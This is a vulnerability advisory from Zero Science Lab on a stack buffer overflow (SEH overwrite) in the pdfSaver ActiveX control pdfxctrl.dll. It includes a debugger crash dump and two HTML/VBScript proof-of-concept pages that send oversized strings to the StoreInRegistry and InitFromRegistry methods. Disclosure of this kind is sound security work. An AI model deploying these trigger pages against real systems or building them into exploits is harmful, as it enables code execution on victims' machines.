Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH) Vendor: ------- Tracker Software Products Ltd. Product web page: ----------------- http://www.tracker-software.com Affected version: ----------------- 3.60.0128 Summary: -------- PDF-Saver Technology is a unique new feature of PDF-XChange software which allows printing jobs to be combined prior to the final PDF file being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides of PowerPoint presentation and 10 pages of Word document into one PDF document). Description: ------------ The PDF Printer Preferences ActiveX suffers from a buffer overflow vulnerability. When a large buffer is sent to the sub_path item of the StoreInRegistry function, and the sub_key item of the InitFromRegistry function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker can gain access to the system of the affected node and execute arbitrary code. ------------------------------------------------------------------------ (1fac.1ea8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0013e9e0 ebx=00000003 ecx=0000008c edx=00001815 esi=0013cd74 edi=0013fffd eip=7c834d8f esp=0013b75c ebp=0013b780 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 kernel32!lstrcatA+0x36: 7c834d8f f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> !exchain 0013b770: kernel32!_except_handler3+0 (7c839ac0) CRT scope 0, filter: kernel32!lstrcatA+45 (7c84086d) func: kernel32!lstrcatA+49 (7c840876) 0013f1ac: 41414141 Invalid exception stack at 41414141 0:000> d esp 0013b75c 2a 30 00 00 cc 63 18 00-03 00 00 00 5c b7 13 00 *0...c......\... 0013b76c 2a 30 00 00 ac f1 13 00-c0 9a 83 7c a8 4d 83 7c *0.........|.M.| 0013b77c 00 00 00 00 e4 ed 13 00-e7 d8 01 10 e0 e9 13 00 ................ 0013b78c 90 b7 13 00 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 0013b79c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0013b7ac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0013b7bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0013b7cc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ------------------------------------------------------------------------ Tested on: ---------- Microsoft Windows XP Professional SP3 (EN) Vulnerability discovered by: ---------------------------- Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ------------ ZSL-2012-5067 Advisory URL: ------------- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php 25.01.2012 PoC (COMRaider): ---------------- <object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' /> <script language='vbscript'> targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll" prototype = "Sub StoreInRegistry ( ByVal page_id As PdfPrinterDialogPage , ByVal sub_path As String )" memberName = "StoreInRegistry" progid = "pdfxctrlLib.PdfPrinterPreferences" argCount = 2 arg1=1 arg2=String(6164, "A") zsl.StoreInRegistry arg1 ,arg2 </script> -------------------- <object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' /> <script language='vbscript'> targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll" prototype = "Sub InitFromRegistry ( ByVal page_id As PdfPrinterDialogPage , ByVal sub_key As String )" memberName = "InitFromRegistry" progid = "pdfxctrlLib.PdfPrinterPreferences" argCount = 2 arg1=1 arg2=String(14356, "A") zsl.InitFromRegistry arg1 ,arg2 </script>